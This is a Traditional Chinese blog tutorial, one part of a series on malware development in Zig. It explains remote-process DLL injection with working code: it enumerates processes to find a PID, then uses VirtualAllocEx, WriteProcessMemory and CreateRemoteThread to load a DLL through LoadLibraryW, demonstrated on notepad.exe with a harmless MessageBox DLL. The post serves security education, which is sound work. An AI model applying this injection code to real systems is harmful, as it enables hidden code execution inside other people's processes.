iT邦幫忙

2025 iThome 鐵人賽

DAY 16
0
Security

Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!系列 第 16

Day16 - 影子寄生術,操弄世界的魁儡:Process Injection 之 DLL Injection

  • 分享至 

  • xImage
  •  

走在時代前沿的前言

Ayo 各位我又回來了。大家還記得我們在第 13 天的時候有介紹過如何在惡意程式本地執行 Payload 嗎(本地就是指在我們編寫的惡意程式的進程中執行)?那時候提到了兩種手法,使用 DLL 或是使用原始 Shellcode。

今天要講的內容也和第 13 天類似,只不過我們今天要做的是在遠端的進程執行。聽起來很酷吧,如果有興趣那就讓我們繼續看下去囉!

完整程式碼可於此處找到:https://black-hat-zig.cx330.tw/Advanced-Malware-Techniques/Process-Injection/DLL-Injection/dll_injection/

疊甲

中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」

本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!

Zig 版本

本系列文章中使用的 Zig 版本號為 0.14.1。

進程枚舉

今天要實作的 DLL Injection,顧名思義就是要把 DLL 注入到某個進程之中。那由於我們要在遠端的進程中注入我們的惡意 DLL,我們勢必得先知道有哪些目標可以讓我們注入。

所以今天的第一步,就是要把目標機器上正在運行的進程給枚舉(Enumerate)出來,以更好的了解可以注入的目標進程。還記得我們先前要獲取進程的句柄的時候會需要使用到 PID(Process ID),這會是枚舉過程中很重要的一個資訊。

在這過程中,我們將會使用到 CreateToolhelp32Snapshot 這個 Windows API。我們先來看一下它的定義

HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);

在這邊,我們第一個參數會傳入 TH32CS_SNAPPROCESS 標誌來指定要拍攝系統上所有運行中的進程的快照,也因此第二個參數傳入 null 讓其忽略。然後依然記得要釋放掉使用完畢的句柄。

    const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()});
        return error.SnapshotFailed;
    }
    defer _ = CloseHandle(snapshot);

在我們拍照完之後,我們就可以使用 Process32First 這個 Windows API 來獲取快照裡面的第一個進程的資訊。接著,對於其他剩下的進程我們就可以使用 Process32Next 來迭代下一個進程。

微軟官方的文檔指出,Process32FirstProcess32Next 都需要傳入一個 PROCESSENTRY32 結構當作第二個參數。在把這個結構傳進去之後,這兩個函數會使用進程的資料填充該結構。我們來看一下官方文檔,看看這個結構是長什麼樣子。

typedef struct tagPROCESSENTRY32 {
  DWORD     dwSize;
  DWORD     cntUsage;
  DWORD     th32ProcessID;              // The PID
  ULONG_PTR th32DefaultHeapID;
  DWORD     th32ModuleID;
  DWORD     cntThreads;
  DWORD     th32ParentProcessID;        // PID of the parent process
  LONG      pcPriClassBase;
  DWORD     dwFlags;
  CHAR      szExeFile[MAX_PATH];        // Name of the executable file for the process
} PROCESSENTRY32;

在等到 Process32FirstProcess32Next 把結構填充完後,我們就可以用 . 操作符從結構中把其中的成員提取出來。像是要提取 PID 就可以使用 PROCESSENTRY32.th32ProcessID

為了找到我們目標的進程,我們可以寫一個迴圈,逐個比對每個當前獲取到的進程名稱與目標的進程名稱。如果不匹配,則使用 Process32Next 查看下一個進程;相反的,如果匹配,則儲存它的 PID 並獲取該進程的句柄。

    if (Process32FirstW(snapshot, &process_entry) == 0) {
        print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()});
        return error.ProcessEnumFailed;
    }

    while (true) {
        var exe_name_len: usize = 0;
        while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) {
            exe_name_len += 1;
        }

        const exe_name = process_entry.szExeFile[0..exe_name_len];

        if (compareWideStringsIgnoreCase(exe_name, wide_process_name)) {
            print("[+] DONE \n", .{});
            print("[i] Found Target Process Pid: {d} \n", .{process_entry.th32ProcessID});
            return process_entry.th32ProcessID;
        }

        if (Process32NextW(snapshot, &process_entry) == 0) {
            break;
        }
    }

至此,我們就完成了第一步驟:枚舉當前進程。如果想看另一個枚舉進程的範例程式碼,可以看看微軟官方實作 C++ 寫的程式碼

對了,上面使用的 compareWideStringsIgnoreCase 是我自己定義的函數,目的是為了在進程的匹配中忽略大小寫,以達到更準確的結果。舉例而言,Process1337.exeprocess1337.exe 將會被視為相同的進程。而它的定義如下。

// Compare wide strings (case-insensitive)
fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool {
    return windows.eqlIgnoreCaseWTF16(str1, str2);
}

DLL Injection

我們到這邊已經獲取到了我們指定的目標的進程句柄,下一步就是要把 DLL 注入到目標進程。以下是我們會需要用到的新的 Windows API。

  • VirtualAllocEx
    • 類似 VirtualAlloc,但是運許在遠端進程中進行記憶體分配
  • WriteProcessMemory
    • 把資料寫進遠端進程,它用於把 DLL 的路徑寫到目標進程之中
  • CreateRemoteThread
    • 在遠端進程中建立線程

找到 LoadLibraryW

我們一開始會先使用 GetModuleHandle 去獲取 kernel32.dll 的句柄,接著再使用 GetProcAddressLoadLibraryW 這個函數給載入進來。LoadLibraryW 是用來在呼叫它的程式裡面載入 DLL 的,但由於我們的目標是要在遠端的進程中載入 DLL,而非本地進程,所以我們不能直接呼叫它。我們應該要做的是要獲取到 LoadLibraryW 的地址並傳遞給遠端進程中創建的線程,並將 DLL 名稱作為其參數。還記得在第 13 天的時候我們有討論過 kernel32.dll 是採用系統層級的 DLL 基址,所以我們可以確保 LoadLibraryW 的地址在遠端進程和本地進程是相同的。

    const kernel32_handle = GetModuleHandleW(std.unicode.utf8ToUtf16LeStringLiteral("kernel32.dll")) orelse {
        print("[!] GetModuleHandleW Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

    const p_load_library_w = GetProcAddress(kernel32_handle, "LoadLibraryW") orelse {
        print("[!] GetProcAddress Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

而這個 p_load_library_w 將會被用於我們在遠端進程創建新的線程的時候的線程入口點。

分配並寫入記憶體

我們的下一步是要為遠端進程中分配足夠存放我們 DLL 名稱的記憶體,我們將會使用 VirtualAllocEx 在遠端進程中分配記憶體。

    // Allocate memory in the remote process
    const p_address = VirtualAllocEx(
        h_process,
        null,
        dw_size_to_write,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE,
    ) orelse {
        print("[!] VirtualAllocEx Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

在我們成功的分配完記憶體後,我們可以使用 WriteProcessMemory 去把資料寫進我們剛剛分配的緩衝區內,把 DLL 的名稱寫進去。我們來看一下微軟文檔,WriteProcessMemory 的函數定義如下。

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,               // A handle to the process whose memory to be written to
  [in]  LPVOID  lpBaseAddress,          // Base address in the specified process to which data is written
  [in]  LPCVOID lpBuffer,               // A pointer to the buffer that contains data to be written to 'lpBaseAddress'
  [in]  SIZE_T  nSize,                  // The number of bytes to be written to the specified process.	
  [out] SIZE_T  *lpNumberOfBytesWritten // A pointer to a 'SIZE_T' variable that receives the number of bytes actually written
);

但由於最後面的兩個參數比較不是那麼重要,一來是 nSize 可以透過 lpBuffer 的長度取得,二來是 *lpNumberOfBytesWritten 可以直接被當成回傳值傳回,所以 Zig 有幫我們包裝了更符合 Zig 風格的 WriteProcessMemory。如果想看詳細的內容可以參考這個官方文檔

    const write_result = WriteProcessMemory(
        h_process,
        p_address,
        bytes,
    ) catch {
        print("[!] WriteProcessMemory Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

    if (write_result != dw_size_to_write) {
        print("[!] Expected to write: {d} bytes, actually wrote: {d} bytes\n", .{ dw_size_to_write, write_result });
        return 0;
    }

通過新線程執行 DLL

在我們把 DLL 的路徑寫進剛分配的記憶體當中後,就可以使用 CreateRemoteThread 來在遠端進程中創立一個新的線程。這時候就會需要 LoadLibraryW 的地址了,把它的地址作為該線程的入口點,並將含有 DLL 名稱的 p_address 作為引數傳遞給 LoadLibraryW。具體做法是把 p_address 傳入 CreateRemoteThreadlpParameter 參數,讓遠端線程啟動的時候以 LoadLibraryW(p_address) 的形式執行。

    // Create a remote thread to execute LoadLibraryW with our DLL path
    h_thread = CreateRemoteThread(
        h_process,
        null,
        0,
        @ptrCast(p_load_library_w),
        p_address,
        0,
        null,
    ) orelse {
        print("[!] CreateRemoteThread Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

最後我們會使用前幾天介紹過的 WaitForSingleObject 去等待我們剛建立的遠端線程執行完畢。

    windows.WaitForSingleObject(h_thread.?, windows.INFINITE) catch {
        print("[!] WaitForSingleObject failed: {}\n", .{GetLastError()});
    };

執行結果

在這個範例中,我們把目標進程設置為 notepad.exe,所以我們會把我們的 DLL 注入到它的進程中裡面。首先,我們會接收兩個命令行參數,分別是 DLL 的完整路徑目標進程名稱。然後我們這邊的 DLL 就採用前幾天寫的那個 MessageBox 的來作為範例。

Run it

我們可以用 System Informer 來查看 notepad.exe 的 PID 是否真的為 30760。

System Informer

接下來,使用 x64dbg 並 Attach 到目標進程上(Notepad),並檢查我們所分配的記憶體位址。

Memory Allocated

下一步,我們寫入記憶體。

Memory Written

最後一步,建立遠端線程並執行!

Execution Result

我們可以使用 System Informer 的 Modules 這個欄位來查看是否真的有注入到目標進程,在此例中為 Notepad。

Injected

並且我們可以通過 Threads 這個欄位查看到我們剛剛建立的線程。

Thread Created

鐵人賽期 PoPoo,你今天轉 Po 了嗎?

好囉,今天就先到這邊!感謝各位的閱讀。

明天應該會來介紹一下其他進程枚舉的手法或是其他的酷酷的 Injection。但也還不確定,我再思考一下順序。

如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!


上一篇
Day15 - 幽影棋局,暗中佈陣:階段式 Payload 部署(下)
系列文
Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!16
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言